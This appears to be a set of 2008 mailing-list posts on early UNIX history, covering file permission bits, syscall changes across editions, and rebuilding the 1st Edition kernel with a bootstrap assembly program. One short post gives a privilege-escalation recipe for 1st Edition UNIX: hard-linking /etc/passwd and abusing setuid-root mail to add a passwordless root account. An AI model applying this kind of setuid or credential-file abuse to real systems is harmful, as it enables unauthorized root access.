I was just browsing through the 1974 UNIX CACM paper, the one that first
publicly described the design and functionality of UNIX. I came across
some sentences which describe the file permissions, and they sounded quite odd:
When a file is created, it is marked with the user ID of its owner.
Also given for new files is a set of seven protection bits.
Six of these specify independently read, write, and execute permission
for the owner of the file and for all other users. [The seventh bit
is the set-user-id bit. ]
This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
and no "rwx" bits for group. I've never seen a UNIX system with 6 file
permission bits, so I thought I would poke around to see what I could find. It
turns out that none of the source code or document artifacts that we have
describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user,
"rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission
bits.
1st Edition UNIX (Nov 1971) has these permission bits for an i-node:
#define I_SETUID 0000040 set-user-id
#define I_EXEC 0000020 a single execute bit
#define I_UREAD 0000010
#define I_UWRITE 0000004 read/write for user
#define I_OREAD 0000002
#define I_OWRITE 0000001 read/write for other
3rd Edition UNIX (Feb 1973) has these permission bits for an i-node:
000040 set user ID on execution
000020 executable
000010 read, owner
000004 write, owner
000002 read, non-owner
000001 write, non-owner i.e same as for 1st Edition
By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX),
the system has the concept of groups and the setgid() & getgid() system calls.
The inode.h header file defines these permission bits:
#define ISUID 04000
#define ISGID 02000
#define IREAD 0400
#define IWRITE 0200
#define IEXEC 0100
This is a bit unclear, but the code for the access() kernel function implies
that there are read/write/execute bits for user, group and other. Here is the
code for access() with my comments:
/* Determine if the current user can access a file with the given mode */
access(ip, mode)
int *ip;
{
register *rip;
if(u.u_uid == 0) /* root can access all files */
return(0);
rip = ip;
if(u.u_uid != rip->i_uid) { /* not owner, shift mode 3 bits, lose */
mode =>> 3; /* user bits, replace with group bits */
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
}
if((rip->i_mode&mode) != 0) /* If mode mask and file's mode leave */
return(0); /* some bits enabled, allow access */
u.u_error = EACCES;
return(1);
}
And when we get to the 4th Edition (Nov 1973), the filesystem manual gives
these permissions:
000400 read (owner)
000200 write (owner)
000100 execute (owner)
000070 read, write, execute (group)
000007 read, write, execute (others)
So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and
onwards had "rwxrwxrwx" permission bits.
The only possibility that I can see is, as 3rd Edition was being rewritten
from assembly into C, the filesystem went through a stage where there
"rwx" execute bits for user, and "rxw" execute bits for other as the CACM
paper described, but groups had not been introduced yet. Then, the idea of
groups was added: the i-node structure had the i_gid field added, and the
access() function was extended with the lines:
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
I'll have to ask Dennis is this sounds plausible.
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
All work and no play...
Here's a fun hack for first edition unix. From MAIL (I) :
When followed by the names of a letter and one or more people, the
letter is appended to each person's mailbox. Each letter is
preceded by the sender's name and a postmark.
A person is either the nameof an entry in the directory /usr, in
which case the mail is sent to /usr/person/mailbox, or the path
of a directory, in which case mailbox in that directory is used.
Mail is setuid root:
# ls -l /bin/mail
80 surwr- 1 root 3940 Jan 1 00:00:00 mail
login as a non-root user (ie "bin"), create a file "letter" with the
contents "hack::0:/:". Run:
@ ln /etc/passwd /tmp/mailbox
@ mail letter /tmp
log out and log back in as "hack". You are now root. Cat /etc/passwd
and notice:
From bin Jan 1 00:49:22
hack::0:/:
clean up the file a little and enjoy your new elevated status.
Tim Newsham
http://www.thenewsh.com/~newsham/
On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote:
> Warren!
> Thanks for a couple of interesting posts!!!
> Makes me want to read some source... you seems to have it at hand.
> Where is it?
Most of it is here:
http://www.tuhs.org/Archive/PDP-11/Distributions/research/
which includes source for 5th, 6th and 7th Editions, and a kernel
written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition
source, but the 3rd and 4th Edition manuals are in there.
The source to the 1st Edition UNIX kernel has recently been found in
a paper document, available at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/Prelim….
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
While I'm investigating the legacy of the UNIX syscalls, I might as well
go into the later versions.
2nd Edition UNIX kept all the syscalls of 1st Edition, and added these:
34 hog lower process priority, becomes nice()
35 sleep sleep()
36 sync sync()
37 kill kill()
38 getcsw reads console switches: this goes away in 7th Edition
3rd Edition UNIX kept all the syscalls of 2nd Edition, and added these:
39 boot reboot the system, becomes reboot()
40 fpe catch floting point errors, becomes signal(SIGFPE, ...)
41 dup dup()
42 pipe pipe()
43 times get process time details, becomes getrusage()
Note pipe() appears in the 3rd Edition, which was still in assembly.
4th Edition UNIX is the first kernel written in C. We start to see changes:
14 mknod was mkdir(), now can make directories and device files
34 nice was hog()
20 tell goes away, as seek() does the same job
44 profil profil()
45 tiu interface to Spider digital switching network: goes away
46 setgid setgid()
47 getgid getgid()
48 signal signal()
It's interesting to note that signal() appears, but the existing signal-like
syscalls do not disappear just yet, although tell() does go away. It's also
to note that seek() has the usual 0=SEEK_SET, 1=SEEK_CUR, 2=SEEK_END, but
there are also 3, 4, 5 which mean the same except that offsets are multiplied
by 512 bytes. This is to do long seeks on block devices. Earlier UNIX kernels
automatically multiplied offsets on block devices by 512, but now the task
of doing this has been shifted to the process.
In 5th Edition, we see some more changes:
20 getpid getpid(), fills the slot vacated by tell()
26 quit goes away to be replaced with signal(SIGQUIT, ...)
27 intr goes away to be replaced with signal(SIGINT, ...)
29 cemt goes away to be replaced with signal(SIGEMT, ...)
33 ilgins goes away to be replaced with signal(SIGILL, ...)
39 boot goes away
40 fpe goes away to be replaced with signal(SIGFPE, ...)
45 tiu goes away
6th Edition has few changes over 5th Edition:
26 ptrace ptrace(), fills the slot vacated by quit()
30 smdate becomes inoperative
7th Edition has some significant changes over 6th Edition:
27 alarm alarm(), fills the slot vacated by intr()
29 pause pause(), fills the slot vacated by cemt()
30 utime utime(), replaces the missing smdate()
33 access access(), fills the slot vacated by ilgins()
35 ftime get date and time, later becomes gettimeofday()
38 getcsw goes away
39 setpgrp setpgrp(), but not yet implemented, i.e. reserved slot
49 unused
50 unused
51 sysacct turn accounting off/on
52 sysphys set user physical addresses
53 syslock lock user in core
54 ioctl ioctl()
55 unused
56 mpxchan create mpx communications channel
57 unused
58 unused
59 exece execve(), note that existing syscall 11 exec() has no envp[]
60 umask umask()
61 chroot chroot()
Note that 35 sleep() is now gone, as its functionality can be simulated with
27 alarm().
Cheers,
Warren
> > For building under UNIX itself, there are a variety of strategies. Here
> > is my list, in order of preference:
> >
> > 2. Modify the V2 assembler to produce V1 binaries.
>
> I'm going to take a "devil's advocate" stance here, and argue to keep the
> existing "as" binary untouched.
In any event, the msys2.s will work to install a V2-assembled kernel
into the boot area.
I've sent a new copy of the boot directory and fs/usr/boot to Warren and
Tim to install. msys2.s is now the program to use to install the bootstrap
and the fs/usr/boot/unix.out file is a copy of build/a.out.
This means that if the kernel is assembled using the V2 assembler under
UNIX V1 itself, then the a.out from that assembly can be used directly
by msys2 to install into the boot area.
James Markevitch
> > I've ported the bootstrap stuff over the whole UNIX V1 build process.
> > (Note: it would be nice to have a V1 as, so that all of these hacks
> > we've been doing can go away).
>
> Did you write bos.s and msys.s from scratch? I noticed your
> wunix contains no header, just the binary bits. Was this standard
> procedure in other versions of unix or is it possible that
> the msys program took in an 0405 or 0407 and stripped the header
> off before writing it? Is there an easy way to strip the header
> from within the unix system with standard commands?
I wrote bos.s and msys.s from scratch. I am not aware of any binaries
or source for these.
bos is written in an entirely position-independent manner so that it can be
compiled with a v1 assembler, v2 assembler, etc. and still run when loaded
at location 54000 in core. Other than the option to load a paper tape, I
believe this to be as true to V1 as possible.
msys was implemented to be as true to V1 as I believed possible. It copies
images directly from disk without modifying them, as I believe the original
V1 msys did. There is no header kludging, since a V1 a.out UNIX kernel
should be bootable without modification.
For wunix (warm unix), I took the build/loadfile, stripped off the
first 6 bytes, then copied the next 16K bytes, just as the boot/installboot
script does.
For building under UNIX itself, there are a variety of strategies. Here
is my list, in order of preference:
1. Use the V1 assembler. This will produce a 12-byte header that is
exactly compatible with the kernel source as it appears in the listing. As
many people on this are aware, the first 12 bytes get manually patched
by the UNIX code when it starts up. But, I don't think the V1 assembler
exists anywhere, or at least not that has been found. That kind of makes
this option moot.
2. Modify the V2 assembler to produce V1 binaries. If the V2 assembler
can be built from sources, then it should be straighforward to edit it
to produce V1 binaries (i.e. 405 instead of 407). This would allow a
kernel in the true spirit of V1 to be created, then copied into the
boot area by msys. It would also allow other programs to all be created
as V1 binaries, which has a lot of attraction to me.
3. Modify msys.s to be msys2.s to strip the 407 header and also truncate
the copy to not overrun the size of the area being copied into (1K, 6K,
6K, 3K). I just tested a modified version of this and attached it below,
since that should help to get things going; but I really think that
option #2 would be nice to have eventually.
Note to use msys2, you need to copy build/a.out to fs/usr/boot/unix.out,
and to put msys2.s into fs/usr/boot/msys2.s. Then after you boot, do:
chdir /usr/boot
as msys2.s
mv a.out msys2
msys2 u unix.out
I'll clean up the source and send a complete fs/usr/boot out later
tonight.
James Markevitch
--------------------------- fs/usr/boot/msys2.s -------------------------
/ msys2 -- copy file to RF read only slot
/
/ re-creation, based on description in UNIX_ProgammersManual_Nov71.pdf,
/ page 7-06, BOOT PROCEDURES (VII)
/ 5/9/08 jam(a)magic.com
/ 5/17/08 jam(a)magic.com -- hacked to copy 407-format a.out files
/ b bos 1700
/ u warm unix 1704
/ 1 cold unix 1734
/ 2 unassigned 1764
mov sp,r5
mov (r5)+,r3 / argc
cmp $3,r3 / must be 3
bne badcmd / else error
tst (r5)+
mov (r5)+,r4 / get first arg
cmpb (r4),$'b
bne 1f
mov $1700,r3
mov $4,r4
br 2f
1:
cmpb (r4),$'u
bne 1f
mov $1704,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'1
bne 1f
mov $1734,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'2
bne badcmd
mov $1764,r3
mov $14,r4
2:
/ open file
mov (r5),r5
mov r5,0f
sys open; 0:..; 0
bes error
mov r0,r1
sys seek; 20; 0
bes error
/ open rf0 and seek to correct block
sys open; disk; 1
bes error
mov r0,r2
mov r3,0f
sys seek; 0:..; 0
bes error
/ copy file from file to disk one block at a time
1:
mov r1,r0
sys read; buf; 512.
mov r0,r5
mov r2,r0
sys write; buf; 512.
bes error
dec r4
beq 3f
tst r5
bne 1b
3:
sys exit
error:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
badcmd:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
disk:
</dev/rf0\0>
.even
buf: .=.+512.
I've ported the bootstrap stuff over the whole UNIX V1 build process.
(Note: it would be nice to have a V1 as, so that all of these hacks
we've been doing can go away).
I'll send out the .tar.gz under a separate e-mail, but it's small enough (10K)
and I don't know who's in which timezone, so somebody should be able
to commit it.
There are two versions included: one that copies the bootstrap into
the rf0.dsk image before running the simulator, and one that runs
native under V1. Given that, if someone builds the kernel using
as under V1, they can use the usr/boot/msys command to install it
without leaving the simulation.
The good news is that you can use that to copy your test kernel into
the cold boot area and if it fails, can re-start the simulator from
the warm boot area and not lose any of your filesystem (assuming your
bad kernel didn't trash it, of course).
I also have a boot command, but haven't tested it yet. It could be
used to reboot without leaving the simulation. That's fine if your
kernel works, of course.
James Markevitch
All, the file
http://www.tuhs.org/Archive/Applications/Early_C_Compilers/last1120c-bits.gz
which is a tap(I) tape image, contains a file called libc.sa, dated Jun 7 1972.
I never noticed until now, but it contains the source code to the C library for
the last1120c compiler. I've added it to the subversion repository under src/lib.
Cheers,
Warren